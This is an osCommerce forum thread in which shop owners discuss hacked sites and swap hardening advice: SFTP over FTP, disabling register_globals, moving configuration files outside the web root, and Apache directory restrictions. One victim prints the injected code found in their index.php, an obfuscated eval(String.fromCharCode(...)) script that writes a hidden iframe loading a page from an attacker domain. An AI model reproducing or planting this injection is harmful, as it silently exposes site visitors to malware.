Security: need some advice

[SDE]

Recently we noticed that the email address on our CC payment module got modified. We changed it, and wrote some modifications which would prevent anyone from using the login page except by our own ip.

 

Well, it happened again. After a little investigating, we found that they were accessing files in the /admin/includes/... directories and injecting GET varibles to modify database settings.

 

i wasn't around for the beginning of this site, so here are my questions:

 

1. how do i find exactly what version we are at?

2. where can i look for security upgrades to our admin area?

[winkphoto]

One of my sites was recently hacked as well.

 

Seems some sort of redirect to www.ifrbiz.net/adverts/08/jss/installer.htm was placed somewhere, so I need to find it.

 

This is hosted on an IPower webserver, running 4.3.10 version of PHP, the admin area IS protected by a username and password.

 

I need some advice and help FAST!

 

Marc

[chiefwes]

One of my sites was recently hacked as well.

 

Seems some sort of redirect to www.ifrbiz.net/adverts/08/jss/installer.htm was placed somewhere, so I need to find it.

 

This is hosted on an IPower webserver, running 4.3.10 version of PHP, the admin area IS protected by a username and password.

 

I need some advice and help FAST!

 

Marc

<{POST_SNAPBACK}>

 

 

My admin area is not accesible unless I am on the local subnet. It is still protected by a user name and password, but you MUST be on the local subnet.

 

When I am away, I SSH into my server, forward my local port 3389 to an internal address behind the firewall and connect to 127.0.0.2 (default loopback for XP - 127.0.0.1 is reseved for the current local session) to access a machine running remote desktop. this allows me to get to my admin area from anywhere...as well as the other applications running on my local network.

 

I suggest you set up something like I have above. Better to be paranoid and safe than sorry.

[winkphoto]

More info:

 

I looked at my index.php file and found this curious code at the bottom--

 

<!-- body_text_eof //-->
   <td width="<?php echo BOX_WIDTH_RIGHT; ?>" valign="top"><table border="0" width="<?php echo BOX_WIDTH_RIGHT; ?>" cellspacing="0" cellpadding="2">
<!-- right_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_right.php'); ?>
<!-- right_navigation_eof //-->
   </table></td>
 </tr>
</table>
<!-- body_eof //-->

<!-- footer //-->
<?php require(DIR_WS_INCLUDES . 'footer.php'); ?>
<!-- footer_eof //-->
<br>
<!-- <script language=javascript>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,102,114,9
7,109,101,32,98,111,114,100,101,114,61,48,32,119,105,100,116,104,61,48,32,104,101
,105,103,104,116,61,48,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58
,110,111,110,101,39,32,115,114,99,61,39,104,116,116,112,58,47,47,105,102,114,98,1
05,122,46,110,101,116,47,97,100,118,101,114,116,115,47,48,56,47,49,46,112,104,112
,39,62,60,47,105,102,114,97,109,101,62,34,41))</script> //-->


</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>

 

where it starts script language = javascript I comment that line out, and the redirect to whereever disappeared.

 

I am perplexed.

 

How could this file be modified? There are two people who have access to the back end (FTP or Vdeck) and the username and password are only known to me.

 

I guess I will have to check other pages to see if any of them are compromised.

 

I do have the "define mainpage" mod as well as a couple of others... and just noticed that the index.php file had 626 permissions, very strange.

 

Any ideas, suggestions?

 

Marc

 

 

One of my sites was recently hacked as well.

 

Seems some sort of redirect to www.ifrbiz.net/adverts/08/jss/installer.htm was placed somewhere, so I need to find it.

 

This is hosted on an IPower webserver, running 4.3.10 version of PHP, the admin area IS protected by a username and password.

 

I need some advice and help FAST!

 

Marc

<{POST_SNAPBACK}>

[chiefwes]

How could this file be modified? There are two people who have access to the back end (FTP or Vdeck) and the username and password are only known to me.

 

<{POST_SNAPBACK}>

 

FTP is not secure. When you transmit your user name and password, it is sent in clear text for all to see.

[Guest]

FTP is not secure.  When you transmit your user name and password, it is sent in clear text for all to see.

<{POST_SNAPBACK}>

 

Woah - is FTP really THAT unsafe? How can one protect the FTP then?

[Guest]

My admin area is not accesible unless I am on the local subnet. It is still protected by a user name and password, but you MUST be on the local subnet.

 

When I am away, I SSH into my server, forward my local port 3389 to an internal address behind the firewall and connect to 127.0.0.2 (default loopback for XP - 127.0.0.1 is reseved for the current local session) to access a machine running remote desktop. this allows me to get to my admin area from anywhere...as well as the other applications running on my local network.

 

I suggest you set up something like I have above. Better to be paranoid and safe than sorry.

 

Are you using an online host, or hosting your site off your own machine? I would like to try your method to better secure my admin section. Please give more info on how to do this. Thanks!

[Mark Evans]

Woah - is FTP really THAT unsafe? How can one protect the FTP then?

<{POST_SNAPBACK}>

 

You will be surprised :)

 

If you want to be secure dont use ftp. Most hosts allow you to connect using sftp or some form of ssl encryption.

[Guest]

In that case, its sftp for me from now on.

[chiefwes]

Are you using an online host, or hosting your site off your own machine?  I would like to try your method to better secure my admin section.  Please give more info on how to do this. Thanks!

<{POST_SNAPBACK}>

 

I have my own server, so there is no host involved.

 

PM me and let me know your config and I will try to help you.

[Guest]

You will be surprised :)

 

If you want to be secure dont use ftp. Most hosts allow you to connect using sftp or some form of ssl encryption.

<{POST_SNAPBACK}>

 

So that's what all the fuzz on SFTP is all about ... aha ... I learn something new everyday;-)

 

My new host has SSL - haven't explored it yet though. Now seems to be the time;-)

 

Happy new year btw;-)

[Guest]

After a little investigating, we found that they were accessing files in the /admin/includes/... directories and injecting GET varibles to modify database settings.

<{POST_SNAPBACK}>

Disabling register globals will stop this happening (see contributions for the patch to make osc work with register globals disabled)

 

If you look here....

 

http://www.oscommerce.com/forums/index.php?showtopic=123763

 

...on the fifth post, I made a start at suggesting what can be done to improve security. It's not complete by any means (and I'm no security expert - not that I believe in 'experts' of any type - been in the business too long to know otherwise :-) ), but it's staggering how little though a lot of people put into securing their web sites.

 

Also, don't underestimate your firewall. I use OpenBSD and pf (packet filter). You can do an awful lot of jiggling about with pf to nail down who can access which bits of whatever. Other firewall programs should give you similar facilities (though pf is rather good compared to some).

 

...but the most basic stuff like not write-enabling your web files helps immeasurably. And liberal use of chflags adds an extra degree of frustration for the hacker (or automated PHP worm !).

 

One last thing. Investigate using somewhing like tripwire or aide ( http://www.cs.tut.fi/~rammer/aide.html ). Tripwire isn't free but aide is. Aide takes a while to set up (I assume tripwire is the same) and quite a long time to fine tune, but it's well worth it.

 

All these measures take time to set up. Quite a lot of time !

 

Security is something you have to build in - it's not something that you suddenly think about once you've been hacked !

 

Rich.

[Guest]

Oh, and make use of 'php_admin_value open_basedir' lines in your httpd.conf (apache config) to restrict which directories PHP can access.

 

Rich.

[Guest]

...they were accessing files in the /admin/includes/... directories...

<{POST_SNAPBACK}>

Don't want to labor the point, but this has occurred to me and I think it is worth mentioning...

 

WHY were they able to access the /admin/includes/ directory ? This should have been prevented by your web server configuration.

 

The _ONLY_ directories the remote CUSTOMER web clients need access to are as follows :

 

.../catalog/

.../catalog/images/

.../catalog/includes/languages/english/images/ (for the button images)

 

(note that allowing access to .../includes/languages/english/images/ does NOT mean you have to allow access to .../includes/ !)

 

Also, if you jiggle the .../images/... directory around (make some sub-directories in there and move different types of images about), you can restrict access / file permissions even more accurately (obviously, you need to adjust the osc config appropriately).

 

The _ONLY_ directories the remote ADMIN web clients need access to are as follows (and obviously, the .../admin/... tree should be heavily protected)...

 

.../catalog/images/

.../admin/

.../admin/images/

.../admin/includes/languages/english/images/ (for the button images)

 

(Note : This second list might not be exactly correct - check !)

 

All the other directories should be completely closed off to the remote client - See your web server docs for more info - for Apache, you need to looks at the <Directory> directive.

 

Rich.

[♥Vger]

A few points worth mentioning here. Probably the most insecure part of connecting to your website is your own computer. The only time I ever got done over like this was several years ago when I didn't have a firewall on my computer, and someone got in and grabbed some passwords. So now I have two firewalls - software (on the computer itself) and hardware (on my broadband connection), plus an e-mail virus checker plus a Spyware detector.

 

To help to protect your 'admin' folder it's not enough just to password protect it. You need to rename it to something unique, then password protect the newly named folder (and make the password as long as is allowed on your server setup).

 

Then you make all http://www.yourdomain.com addresses in admin/includes/configure.php over to https://www.yourdomain.com. Then, if you have an up to date server setup, you can use the 'SSLRequireSSL' command in the .htaccess file in your 'admin' folder, so that no one can access any part of your 'admin' folder via an http connection.

 

However, none of this helps if someone can get into your computer and grab your stored passwords and user names.

 

Vger

[dirthawker]

Rich, great post at

http://www.oscommerce.com/forums/index.php?sho...ndpost&p=494983

 

I am struggling to understand it and mentally modify to take into account our own setup. We don't have our own server, just shared hosting, so all the Apache stuff is beyond our control.

 

You said:

Move sensitive PHP files outside of the public http/ directories that apache can see so you can't just enter www.mydomain/catalog/include/configuration.php and get (say) the database password

 

I had posted some concern about configuration.php at http://www.oscommerce.com/forums/index.php?showtopic=118933&hl= and Mibble sd having permissions of 644, the file could not be read. Is setting it to 644 sufficient? Our site is now live (I said it wasn't ready but the client didn't listen :blink: ) so I'm a reluctant to make large scale moves in the file locations.

 

We don't have an .htconfig file. But could you talk to me a little about .htaccess? I've read a teeny bit about it but am getting too much information, I don't know what's needed for osC. We have a simple single retail store setup, very ordinary.

 

Thanks

-andrea-

[Guest]

You said:

Move sensitive PHP files outside of the public http/ directories that apache can see so you can't just enter www.mydomain/catalog/include/configuration.php and get (say) the database password

 

I had posted some concern about configuration.php....having permissions of 644, the file could not be read.  Is setting it to 644 sufficient?

 

We don't have an .htconfig file.  But could you talk to me a little about .htaccess? 

This is really outside the scope of osc, but I'm having a good day so here we go....

 

I don't want this to sound like I'm having a go at Mibble; he clearly knows what he's doing, but as I have already said here...

 

http://www.oscommerce.com/forums/index.php?showtopic=127013

 

...unless you take into account the user / group that the web server is running as, it is completely meaningless to blindly state that file permissions of (say) 740 (or whatever) are correct. This depends on your individual setup and no one else knows that better than you, and if you don't know it then you need to ask the sys admin chappie / chapess or work it out yourself.

 

Meanwhile, back to your issue regarding protecting the configuration file, I would say that you most definitely can NOT protect this just by setting the file permissions.

 

Think of it like this - you can set the file permissions so that the web server can either read the file or it can not. If it can not then clearly no one is going to be able to read it via a browser. But neither is the running PHP code either ! The PHP engine runs as the same user as the web server (though if you use the cgi interface rather than building php into apache, this may not be true - I think you can specify the user to execute the php engine as when using the cgi interface. I could be completely wrong here though - see the apache web site for details. If you are running the PHP engine built into apache (this is most common as it is much more efficient and more secure) then it will definitely run as the same user as apache), so if apache can't read the file, neither can PHP and your scripts won't work !

 

So, in order for your configuration file to be read by PHP (which must be allowed), you must, by definition, make it readable by the web browser too. This is, as you correctly point out, rather dangerous if you leave the configuration file in the normal .../htdocs/.../catalog/ directory (htdocs is the default directory where apache will read pages from in order to server then to a client browser).

 

In order to protect against this, you can move the configuration file (indeed, you could move the entire .../catalog/includes and .../admin/includes/ directory if you want (except for the product image, icons, and button image files) to a directory outside of the htdocs branch. This will give you a directory structure something like this (simplified)...

 

www

|-htdocs

| |-catalog

| |-admin

|- secure

 

...where 'htdocs' will now contain most of your web site files as normal and 'secure' will contain anything you don't want every Tom Dick and Harry to be able to read via their browsers.

 

Note also that in this example, I have moved the 'admin' directory up a level; the default is that it lives inside the .../catalog/ directory which I personally think is a bad idea - it's easier to protect if you move it outside of .../catalog/

 

An IMPORTANT thing to note is that protecting the .../secure/ directory in this way will only have the desired affect if you configure apache correctly and tell it that the root directory for documents is .../htdocs/ - ie - apache isn't even told that .../secure/ exists. You do this by using the apache <DocumentRoot> directive - see http://httpd.apache.org/docs-2.0/mod/core.html#documentroot .

 

For the 'catalog' section of your site, it is best to set the apache document root (<DocumentRoot>) directive to .../www/catalog/. You do this in combination with a <Directory> directive (and/or <VirtualHost>) in the apache configuration. This has two affects - firstly, your customer will see www.mysite.com/ rather than www.mysite.com/catalog/ displayed in the browser address window (which looks better). Also, it is more secure because (as it implies), the catalog part of your web site will be restricted to only being able to see the .../www/catalog/ section of the htdocs directory rather than everything). For admin access, you must set the apache document root to .../www/ because it needs access to both ..../admin/ and .../catalog/ directories (again, use <DocumentRoot>, <Directory> and <VirtualHost> directives to do this).

 

Now, hiding the .../secure/ directory from apache will NOT hide it from PHP (even the built-in one). So, the running PHP script (eg - .../catalog/index.php) is still able to quite happily read from the .../secure/ directory and run normally. The important thing is that the hacker on the end of a browser is not able to directly read the configure file because to do so he would have to specify something like http://mysite.com/../secure/configure.php (the '../' would be needed to get out of the rooted (via <DocumentRoot>) htdocs directory into the htdocs directory) and this just would not work - it would be rejected by apache (if you've configured it correctly !). So, your configure file is safe ! Ta Daaaa !

 

Now, of course, when you jiggle stuff about like this, you will have to make sure you adjust the configuration and file paths correctly in the osc code so that it can still find the files it needs when it executes. For the configure.php file, you may find that the easiest thing to do is to move the file into the .../secure directory and then replace the original file (in .../catalog/includes/) with a short stub that just loads the real file. ie, something like this :

 

<php

require('/www/secure/configure.php');

?>

 

(you will have to adjust the 'www' bit of the patch depending on how your apache is set up and how it is chrooted. Apache should always be chrooted, but I don't know what the situation is on a shared server - depressingly insecure, I suspect.

 

Also, make use of the 'php_admin_value open_basedir' directives in the apache configuration. These are used to specify exactly which directories PHP is able to read from, so you can further restrict what PHP / apache can and can not see - see www.php.net for more details.

 

With regard to the apache configuration, if you are on a shared server, you will be restricted to using .htaccess files (you won't have access to the apache httpd.conf file). I dislike .htaccess files intensely. They are a security risk, they are very inefficient and there is NOTHING you can do in these that you can't do in httpd.conf (see the apache web site if you don't believe me on any of these points). But, if that's what you have then you have no choice. Despite the name, .htaccess files can be used for much more than just specifying the directory access permissions, but I direct you to the apache web site for details of exactly what you can and can't add to them; I don't know because I never use them. By the way, someone has got confused when they mentioned '.htconfig'; they mean '.htaccess' (there is no such thing as '.htconfig'). See http://httpd.apache.org/docs-2.0/configuring.html for further details on config files.

 

As an aside, if you are running your own server then remove all the .htaccess files that come as default in osc and set up your configuration in httpd.conf (not forgetting to disable use of .htaccess files, of course).

 

As always, for further details, see the apache and php web sites.

 

Rich.

[dirthawker]

Think of it like this - you can set the file permissions so that the web server can either read the file or it can not. If it can not then clearly no one is going to be able to read it via a browser. But neither is the running PHP code either !

.... 

if apache can't read the file, neither can PHP and your scripts won't work !

 

Makes sense, thanks for putting this in a way I can understand

 

Note also that in this example, I have moved the 'admin' directory up a level; the default is that it lives inside the .../catalog/ directory which I personally think is a bad idea - it's easier to protect if you move it outside of .../catalog/

 

AFAIK there's not that much in admin that uses the /catalog tree besides images, right? When I first installed osC I did think it a bit strange that admin would be placed under /catalog rather than at the same level, outside /catalog. It doesn't seem like it would be too painful to move it or at least the config files.

 

Now, hiding the .../secure/ directory from apache will NOT hide it from PHP (even the built-in one). So, the running PHP script (eg - .../catalog/index.php) is still able to quite happily read from the .../secure/ directory and run normally. The important thing is that the hacker on the end of a browser is not able to directly read the configure file because to do so he would have to specify something like http://mysite.com/../secure/configure.php (the '../' would be needed to get out of the rooted (via <DocumentRoot>) htdocs directory into the htdocs directory) and this just would not work - it would be rejected by apache (if you've configured it correctly !). So, your configure file is safe ! Ta Daaaa !

 

Very cool. Thank you very much for that.

-andrea-

[Guest]

AFAIK there's not that much in admin that uses the /catalog tree besides images, right?...

Errr.. yes, I think you're right there.

 

It doesn't seem like it would be too painful to move it or at least the config files.

<{POST_SNAPBACK}>

Yes, it is very easy indeed to move the admin directory out of the catalog directory; you just need to asjust one or two paths in the admin configure.php file. You'll soon know if it doesn't work anyway, and it should be fairly obvious what doesn't work.

 

Very cool.  Thank you very much for that.

-andrea-

No problem.

 

Some errors in the previous post, corrected here (these are trivial but could throw someone if they don't realilse)....

 

1) So, in order for your configuration file to be read by PHP (which must be allowed), you must, by definition, make it readable by the web browser [sHOULD READ server] too.

 

2) Also, it is more secure because (as it implies), the catalog part of your web site will be restricted to only being able to see the .../www/catalog/ [sHOULD READ .../www/htdocs/catalog] section of the htdocs directory rather than everything). For admin access, you must set the apache document root to .../www/ [sHOULD READ .../www/htdocs/] because it needs access to both ..../admin/ and .../catalog/ directories (again, use <DocumentRoot>, <Directory> and <VirtualHost> directives to do this).

 

3) because to do so he would have to specify something like http://mysite.com/../secure/configure.php [sHOULD READ http://mysite.com/../../secure/configure.php]

 

Oh, and if you store your cookies in files rather than in the database then these should (of course) be outside the htdocs tree as well.

 

...and you should make sure the tmp/ directory (used by admin and some other bits and bobs) is outside the htdocs tree as well.

 

I'll shut up now.

 

Rich.

[Guest]

Sorry - tried to edit the previous post but ran out of time.

 

There was an error in my errata !....

 

3) because to do so he would have to specify something like http://mysite.com/../secure/configure.php....etc etc...

 

[sHOULD READ because to do so he would have to specify something like http://mysite.com/../../secure/configure.php (the '../../' would be needed to get out of the rooted (via <DocumentRoot>) htdocs/catog/ directory into the www/ directory) and this just would not work

 

Rich.